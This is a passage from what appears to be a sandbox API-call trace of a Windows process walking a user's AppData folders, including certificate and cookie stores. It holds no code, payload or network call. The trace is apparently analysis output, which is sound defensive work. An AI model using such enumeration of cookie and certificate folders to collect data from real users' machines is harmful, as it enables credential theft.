ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.732] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.732] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.732] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.732] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.732] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.732] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x46 [0068.732] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.733] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.733] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.733] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.733] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.733] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\templates"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b2f74d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xca5acd80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xca5acd80, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.733] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.733] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x35 [0068.734] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.734] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\uproof"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f6100f0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3f636250, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3f636250, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.734] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.734] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x32 [0068.734] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.734] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x33 [0068.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x33 [0068.735] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.735] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x1efb45c0, ftLastAccessTime.dwHighDateTime=0x1d2faa7, ftLastWriteTime.dwLowDateTime=0x1efb45c0, ftLastWriteTime.dwHighDateTime=0x1d2faa7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.735] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.735] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab2081d0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x11368c20, ftLastAccessTime.dwHighDateTime=0x1d2faf6, ftLastWriteTime.dwLowDateTime=0x11368c20, ftLastWriteTime.dwHighDateTime=0x1d2faf6, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.736] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.736] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.737] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.738] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.738] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.738] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.738] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.738] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\iecompatcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.739] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.739] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\iecompatcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.739] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.739] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.739] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.739] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.739] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.739] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.739] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\ietldcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa807d7f0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.740] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.740] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb641f470, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb641f470, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.740] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.740] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.740] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.740] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.741] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.741] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\libraries"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xac6dc250, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac6dc250, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.741] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.741] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.741] GetFullPathNameW (in: 